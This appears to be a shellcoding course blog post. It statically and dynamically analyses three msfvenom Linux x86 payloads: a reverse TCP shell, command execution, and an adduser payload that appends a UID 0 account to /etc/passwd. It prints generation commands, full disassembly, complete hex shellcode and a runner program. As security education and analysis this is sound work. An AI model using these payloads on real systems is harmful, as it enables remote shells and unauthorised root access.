Intro

Next in the Linux x86 shellcoding series is the analysis of three common msfvenom shellcode samples, which will be examined using both static and dynamic analysis techniques.

We can get a list with all the msfvenom payloads for x86 Linux machines, with the --list payloads option.

$ msfvenom --list payloads | grep "linux/x86"
    linux/x86/adduser                                   Create a new user with UID 0
    linux/x86/chmod                                     Runs chmod on specified file with specified mode
    linux/x86/exec                                      Execute an arbitrary command
    linux/x86/meterpreter/bind_ipv6_tcp                 Inject the mettle server payload (staged). Listen for an IPv6 connection (Linux x86)
    linux/x86/meterpreter/bind_ipv6_tcp_uuid            Inject the mettle server payload (staged). Listen for an IPv6 connection with UUID Support (Linux x86)
    linux/x86/meterpreter/bind_nonx_tcp                 Inject the mettle server payload (staged). Listen for a connection
    ...[snippet]...

Shellcode 1 - TCP Reverse Shell

Overview

Before analyzing the disassembly, we get a grasp of what the shellcode is doing by running it using libemu’s sctest.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw  > tcp_revshell.data
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 68 bytes
$ sctest -vvv -Ss 10000 -G msfvenom-linux-x86-tcp-revshell.dot < tcp_revshell.data
verbose = 3
[emu 0x0x993b480 debug ] cpu state    eip=0x00417000
[emu 0x0x993b480 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x993b480 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x993b480 debug ] Flags:
[emu 0x0x993b480 debug ] cpu state    eip=0x00417000
[emu 0x0x993b480 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x993b480 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
...[snippet]...

int socket (
     int domain = 2;
     int type = 1;
     int protocol = 0;
) =  14;
int dup2 (
     int oldfd = 14;
     int newfd = 2;
) =  2;
int dup2 (
     int oldfd = 14;
     int newfd = 1;
) =  1;
int dup2 (
     int oldfd = 14;
     int newfd = 0;
) =  0;
int connect (
     int sockfd = 14;
     struct sockaddr_in * serv_addr = 0x00416fbe =>
         struct   = {
             short sin_family = 2;
             unsigned short sin_port = 23569 (port=4444);
             struct in_addr sin_addr = {
                 unsigned long s_addr = 16777343 (host=127.0.0.1);
             };
             char sin_zero = "       ";
         };
     int addrlen = 102;
) =  0;
int execve (
     const char * dateiname = 0x00416fa6 =>
           = "//bin/sh";
     const char * argv[] = [
           = 0x00416f9e =>
               = 0x00416fa6 =>
                   = "//bin/sh";
           = 0x00000000 =>
             none;
     ];
     const char * envp[] = 0x00000000 =>
         none;
) =  0;

We can then convert the .dot file generated by sctest, so that we can get a graphical overview of the system calls made by the shellcode.

dot msfvenom-linux-x86-tcp-revshell.dot -T png -o msfvenom-linux-x86-tcp-revshell.png

msfvenom reverse shell flow

As expected, the sequence of system calls is pretty much identical to the one already discussed in: Assignment 2: Reverse TCP Shell .

Disassembly analysis

$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw | ndisasm -u -
00000000  31DB              xor ebx,ebx
00000002  F7E3              mul ebx
00000004  53                push ebx
00000005  43                inc ebx
00000006  53                push ebx
00000007  6A02              push byte +0x2
00000009  89E1              mov ecx,esp
0000000B  B066              mov al,0x66
0000000D  CD80              int 0x80
0000000F  93                xchg eax,ebx
00000010  59                pop ecx
00000011  B03F              mov al,0x3f
00000013  CD80              int 0x80
00000015  49                dec ecx
00000016  79F9              jns 0x11
00000018  687F000001        push dword 0x100007f
0000001D  680200115C        push dword 0x5c110002
00000022  89E1              mov ecx,esp
00000024  B066              mov al,0x66
00000026  50                push eax
00000027  51                push ecx
00000028  53                push ebx
00000029  B303              mov bl,0x3
0000002B  89E1              mov ecx,esp
0000002D  CD80              int 0x80
0000002F  52                push edx
00000030  686E2F7368        push dword 0x68732f6e
00000035  682F2F6269        push dword 0x69622f2f
0000003A  89E3              mov ebx,esp
0000003C  52                push edx
0000003D  53                push ebx
0000003E  89E1              mov ecx,esp
00000040  B00B              mov al,0xb
00000042  CD80              int 0x80

Again, we can go block by block and examine what the shellcode does.

Registers cleanup

00000000  31DB              xor ebx,ebx     ; ebx = 0
00000002  F7E3              mul ebx         ; eax = 0, edx = 0

SYS_SOCKET call

; int socket(int domain, int type, int protocol);

00000005  43                inc ebx         ; EBX: function to call = SYS_SOCKET function
                                            ; 3rd arg: int protocol => 0 = PROTO_IP
00000006  53                push ebx        ; 2nd arg: int type => 1 = SOCK_STREAM
00000007  6A02              push byte +0x2  ; 1st arg: int domain => 2 = AF_INET
00000009  89E1              mov ecx,esp     ; ecx = pointer to the top of the stack
0000000B  B066              mov al,0x66     ; SYS_SOCKET call
0000000D  CD80              int 0x80        ; call interrupt
0000000F  93                xchg eax,ebx    ; return value in eax, stored in ebx for later use

The instructions above creates a TCP socket using the socketcall system call, and more specifically its SYS_SOCKET function (code 1 in EBX).

The function arguments are then pushed to the stack, in reverse order, from right to left. When everything has been setup correctly, the

Finally, the socket file descriptor, returned by the function in EAX by default, is stored to EBX using the xchg instruction.

IO redirect with dup2

; int dup2(int oldfd, int newfd);
                                            ; 1st arg: EBX => socket handler
00000010  59                pop ecx         ; 2nd arg: ECX => 2 = STDERR
00000011  B03F              mov al,0x3f     ; sys_dup2 call
00000013  CD80              int 0x80
00000015  49                dec ecx         ; ECX--
00000016  79F9              jns 0x11        ; if ECX >= 0 jump back and keep looping

Using the dup2 syscall the stderr, stdout and stdin buffers are redirected to the socket. The ecx register is used to store the value that corresponds to the buffers (2=stderr, 1=stdout, 0=stdin).

SYS_CONNECT call

00000018  687F000001        push dword 0x100007f     ; ip=127.0.0.1
0000001D  680200115C        push dword 0x5c110002    ; port=4444, 2=AF_INET
00000022  89E1              mov ecx,esp              ; pointer to addr sockaddr_in stored in ecx

00000024  B066              mov al,0x66
00000026  50                push eax                 ; 3rd arg: socklen_t addrlen
00000027  51                push ecx                 ; 2nd arg: pointer to sockaddr struct
00000028  53                push ebx                 ; 1st arg: socket file descriptor
00000029  B303              mov bl,0x3               ; SYS_CONNECT
0000002B  89E1              mov ecx,esp
0000002D  CD80              int 0x80

Spawn shell with execve

0000002F  52                push edx                ; push NULL
00000030  686E2F7368        push dword 0x68732f6e   ; push "//bin/sh"
00000035  682F2F6269        push dword 0x69622f2f
0000003A  89E3              mov ebx,esp             ; 1st pointer to "//bin/sh" string on stack
0000003C  52                push edx                ; push NULL
0000003D  53                push ebx                ; push pointer to "//bin/sh"
0000003E  89E1              mov ecx,esp             ; argv[] = [**"//bin/sh", NULL]
                                                    ; envp[] = NULL from EDX
00000040  B00B              mov al,0xb              ; sys_execve
00000042  CD80              int 0x80

We can figure out the string that is pushed to the stack using the following simple python command:

>>> bytes.fromhex('68732f6e69622f2f').decode()[::-1]
'//bin/sh'

Shellcode 2 - Command Execution

Overview

As we did with the first shellcode sample, before looking at the disassembly, we can look at what the shellcode does, by looking at the calls it makes, and at its execution flow. We can do that by using libemu’s sctest tool and the graphviz library.

Let’s first generate the shellcode with msfvenom

$ msfvenom -p linux/x86/exec CMD=hostname -f raw > cmd_shellcode.data
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 44 bytes

We can then run the binary using sctest

$ sctest -vvv -Ss 10000 -G cmd_exec.dot < cmd_shellcode.data
graph file cmd_exec.dot
verbose = 3
[emu 0x0x9487498 debug ] cpu state    eip=0x00417000
[emu 0x0x9487498 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x9487498 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x9487498 debug ] Flags:
[emu 0x0x9487498 debug ] cpu state    eip=0x00417000
[emu 0x0x9487498 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x9487498 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
...[snippet]...

int execve (
     const char * dateiname = 0x00416fc0 =>
           = "/bin/sh";
     const char * argv[] = [
           = 0x00416fb0 =>
               = 0x00416fc0 =>
                   = "/bin/sh";
           = 0x00416fb4 =>
               = 0x00416fc8 =>
                   = "-c";
           = 0x00416fb8 =>
               = 0x0041701d =>
                   = "hostname";
           = 0x00000000 =>
             none;
     ];
     const char * envp[] = 0x00000000 =>
         none;
) =  0;

Looking at the syscall sequence in a graphical format isn’t of much help here, since there is only one call to execve. As we can clearly see, all the shellcode is doing is calling execve syscall in order to run the /bin/sh -c hostname command.

Dynamic analysis with GDB

We can disassemble the payload generated by msfvenom using ndisasm.

$ ndisasm -u - < cmd_shellcode.data
00000000  6A0B              push byte +0xb
00000002  58                pop eax
00000003  99                cdq
00000004  52                push edx
00000005  66682D63          push word 0x632d
00000009  89E7              mov edi,esp
0000000B  682F736800        push dword 0x68732f
00000010  682F62696E        push dword 0x6e69622f
00000015  89E3              mov ebx,esp
00000017  52                push edx
00000018  E809000000        call dword 0x26
0000001D  686F73746E        push dword 0x6e74736f
00000022  61                popad
00000023  6D                insd
00000024  65005753          add [gs:edi+0x53],dl
00000028  89E1              mov ecx,esp
0000002A  CD80              int 0x80

As expected the shellcode is very simple. This time, we can get the hex representation of the bytes in cmd_shellcode.data file, and use it inside the C shellcode tester program we used in the previous assignments.

$ hexdump -v -e '"\\" 1/1 "x%02x"' < cmd_shellcode.data
\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x09\x00\x00\x00\x68\x6f\x73\x74\x6e\x61\x6d\x65\x00\x57\x53\x89\xe1\xcd\x80
#include <stdio.h>

unsigned char code[] = \
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89...[snippet]...";

main() {
    printf("Shellcode length: %d bytes\n", sizeof(code));
    int (*ret)() = (int(*)())code;
    ret();
}

We can now compile the shellcode tester program is compiled, and run it using GDB (with gef extension), and examine the stack and registers state after each instruction gets executed.

$ gcc -fno-stack-protector -z execstack run_sc.c -o run_sc
$ gdb -q ./run_sc
...[snippet]...
gef➤ b *&code
Breakpoint 1 at 0x804a040
gef➤  r
Starting program: /tmp/run_sc
Shellcode length: 45 bytes

...[snippet]...

We can execute 3 instructions, by entering ni 3 times (next instruction).

First the 0xb value gets pushed to the stack, and popped into the EAX register, which stores the value that corresponds to the system call number, which in this case is execve (code: 11). In addition to that, the EDX register is reset by using the cdq instruction, which copies the sign (bit 31) of the value in EAX to EDX.

Then the EDX register is pushed to the stack (4 null bytes), followed by the -c string, in reverse order. Finally, EIP which holds the value of the top of the stack, is moved into EDI, so that the register can be user later as a pointer to the string on that position in the stack.

The /bin/sh string is also pushed to the stack, and a pointer to it is stored in the EBX register, which is used to pass the first argument to the execve system call.

The EDX register gets pushed once again on the stack (4 null bytes). Next there’s a call instruction which is used to get a dynamical reference to the buffer with the arguments, using the JMP-CALL-POP technique.

Using the si command (step into), we can see that before calling the interrupt with the int 0x80 instruction, the ECX register, which corresponds to the argv[] array, is filled with the following strings:

  • /bin/sh
  • -c
  • hostname

Finally, the interrupt cause the execve system call to be executed, and the output of the hostname command is returned and printed to the screen.

Shellcode 3 - Add user with root permissions

Overview

$ msfvenom -p linux/x86/adduser --list-options
Options for payload/linux/x86/adduser:
=========================


       Name: Linux Add User
     Module: payload/linux/x86/adduser
   Platform: Linux
       Arch: x86
Needs Admin: Yes
 Total size: 97
       Rank: Normal

Provided by:
    skape <[email protected]>
    vlad902 <[email protected]>
    spoonm <spoonm@no$email.com>

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
PASS   metasploit       yes       The password for this user
SHELL  /bin/sh          no        The shell for this user
USER   metasploit       yes       The username to create

Description:
  Create a new user with UID 0

The adduser shellcode adds a new user with UID=0 to /etc/passwd, with specified username and password. We can generate the shellcode with the following command:

$ msfvenom -p linux/x86/adduser USER=r00t PASS=secret -f raw > addr00t.data
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 91 bytes

We can proceed by adding the hexadecimal representation of the shellcode in the tester program.

$ hexdump -v -e '"\\" 1/1 "x%02x"' < addr00t.data
\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x22\x00\x00\x00\x72\x30\x30\x74\x3a\x41\x7a\x75\x35\x32\x5a\x46\x39\x41\x2f\x47\x58\x55\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80
#include <stdio.h>

unsigned char code[] = \
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31...[snippet]...";

main() {
    printf("Shellcode length: %d bytes\n", sizeof(code));
    int (*ret)() = (int(*)())code;
    ret();
}

The program can then be compiled with GCC.

$ gcc -fno-stack-protector -z execstack run_sc.c -o run_sc

By running the program with strace we can get an overview of the system calls being invoked by the program, and their arguments.

$ sudo strace ./run_sc

Dynamic analysis with GDB

$ sudo gdb -q ./run_sc
gef➤  b *&code
Breakpoint 1 at 0x804a040
gef➤  r
Starting program: /tmp/run_sc
Shellcode length: 92 bytes

Breakpoint 1, 0x0804a040 in code ()

setreuid system call

The system call that corresponds to code 0x46 (70 in decimal) is setreuid()

$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep " 70"
#define __NR_setreuid 70

We can check out the function signature by looking at its man entry:

$ man setreuid
int setreuid(uid_t ruid, uid_t euid);

setreuid() function sets real and effective user IDs of the calling process. The function takes two arguments: the real uid and the effective uid, which in this case are set to zero.

In our shellcode, the setreuid call is used to make sure the program has root privileges before it tries to append a new entry to the /etc/passwd file.

The return value of the function is 0 if the operation has been completed successfully, -1 otherwise if an error occurred.

NOTE: If the run_sc binary has been run with gdb without sudo, the operation will fail, and EAX will be set to 0xffffffff, when the function returns, since in that case the process won’t have the necessary permission to write to /etc/passwd file, hence the return value will be -1.

The return value in EAX is 0, which means that the UIDs have been successfully set.

Opening /etc/passwd

The next system call is to the open function, which code is 5.

$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep " 5$"
#define __NR_open 5

The function signature can be retrieved once again by reading the manual entry for it, using the man open command.

int open(const char *pathname, int flags, mode_t mode);

The function is called with the following arguments:

  • *pathname in EBX: pointer to "/etc//passwd"
  • int flags in ECX: O_WRONLY|O_APPEND that corresponds to 2001 in octal (see: /usr/include/i386-linux-gnu/bits/fcntl-linux.h)

The file handle is returned in EAX. The next instruction then swaps the content of the EAX and EBX registers. The file handle is now in EBX.

Writing to /etc/passwd

Next is a call instruction, which is used to push the address of the string to write to the passwd file, which is then moved into the ecx register with the pop ecx instruction.

The value stored in EAX (4), corresponds to the code of the write system call, which has the following signature:

ssize_t write(int fd, const void *buf, size_t count);

In fact, before the system call has been invoked by the int 0x80 instruction, the arguments stored in the registers are the following:

  • int fd (EBX) = 3 (file descriptor returned by the open system call)
  • void *buf (ECX) = pointer to the strings to append to /etc/passwd
  • size_t count (EDX) = length of the string to write (34 decimal)

Exit

The last three instruction are used to exit gracefully from the program using the exit system call.

Verify new entry in passwd file

Finally, we can verify that a new entry for user r00t has been successfully added to /etc/passwd, and that we are able to spawn a shell with root privileges by switching to user r00t.

$ tail -n1 /etc/passwd
r00t:Azu52ZF9A/GXU:0:0::/:/bin/sh
$ su r00t
Password:
# id
uid=0(root) gid=0(root) groups=0(root)